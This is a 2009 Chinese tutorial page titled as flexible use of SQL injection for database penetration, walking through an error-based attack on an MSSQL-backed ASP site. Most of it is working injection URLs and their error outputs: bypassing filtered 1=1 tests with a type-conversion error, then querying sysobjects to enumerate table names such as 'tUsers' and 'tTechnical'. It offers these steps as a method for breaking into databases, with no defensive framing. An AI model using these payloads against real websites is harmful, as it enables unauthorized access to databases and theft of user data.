当前位置: 首页 > 图文教程 > 网络安全 > 安全基础 > 灵活地运用SQL Injection做数据库渗透

安全基础
利用Windows XP组策略加强机密数据安全
了解CPU,关于CPU的基础知识
WinToFlash制作Windows XP安装U盘
Windows 7视频时比较卡删除MMCSS解决
数据恢复:硬盘开盘更换磁头处理
网上邻居里的电脑双击出现密码输入提示
服务器系统默认启用的授权模式造成共享访问故障
Spoolsv.exe木马清除的方法
使用Dropbox免费空间的6个小技巧
163、126信箱POP3和SMTP重新开通
故障实例:USB设备无正确驱动签名
隐藏局域网中联网的计算机又能上网的设置方法
网上偷菜外挂含盗号病毒偷盗游戏账号
在QQ空间中放入土豆网Flash视频
重装系统后防止病毒入侵的5个系统设置技巧
Windows Update系统更新组件
人人桌面帮你在人人网农场游戏快速增长经验值
网络交换机限速 防止BT下载速度过快
Win7下连接无线网络资源管理器挂掉问题
在SNS里利用Flash脚本过滤不严进行挂马

安全基础 中的 灵活地运用SQL Injection做数据库渗透


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-28   浏览: 42 ::
收藏到网摘: n/a

    对于很多的MSSQL数据库,要进行注入需要灵活的技巧与思路,就有如在第一篇文章里所提到的逻辑判断法。 有时候,一个注入点的判断不是单纯靠and 1=1和and 1=2的,就有如这网站:

http://www.xxxxx.com/view_topic.asp?MainTopicID=M10-1&TopicID=M10-25

加个" ' "符号在后面,

http://www.xxxxx.com/view_topic.asp?MainTopicID=M10-1&TopicID=M10-25'

出错信息如下,

Unclosed quotation mark before the character string 'M10-25''

好,应该是注入点了,再试and 1=1,

http://www.xxxxx.com/view_topic.asp?MainTopicID=M10-1&TopicID=M10-25'%20and%20'1'='1

是正常画面,再试and 1=2,

http://www.xxxxx.com/view_topic.asp?MainTopicID=M10-1&TopicID=M10-25'%20and%20'1'='2

还是正常画面,看来是逻辑判断被过滤了,是不是不能注入了呢?然而,逻辑判断能被过滤,执行错误可不能被过滤。在unclosed quotation mark的前提下,我们先让它出错,然后再加个逻辑判断给它过滤和关掉那个" ' "符号。好,思路是这样,就提交这样的语句:

http://www.xxxxx.com/view_topic.asp?MainTopicID=M10-1&TopicID=M10-25'%20and%20user>0%20and%20'1'='1

出错信息如下,

Syntax error converting the nvarchar value 'dbo' to a column of data type int

看到吧,成功了。所以下次当逻辑判断被过滤了,就利用它再结合执行错误来进行注入好了。
再试这语句,

http://www.xxxxx.com/view_topic.asp?MainTopicID=M10-1&TopicID=M10-25'%20and%20(select%20top%201%20name%20from%20(select%20top%201%20name%20from%20sysobjects%20where%20xtype='U'%20order%20by%20name%20desc)%20a%20order%20by%20name)>0%20and%20'1'='1

出错信息是,

Syntax error converting the nvarchar value 'tUsers' to a column of data type int

好,第一个表名是'tUsers'

再来,

http://www.xxxxx.com/view_topic.asp?MainTopicID=M10-1&TopicID=M10-25'%20and%20(select%20top%201%20name%20from%20(select%20top%202%20name%20from%20sysobjects%20where%20xtype='U'%20order%20by%20name%20desc)%20a%20order%20by%20name)>0%20and%20'1'='1

这次的出错信息是,

Syntax error converting the nvarchar value 'tTechnical' to a column of data type int

第二个表名是'tTechnical'

好了,就试到这里为止。共勉之。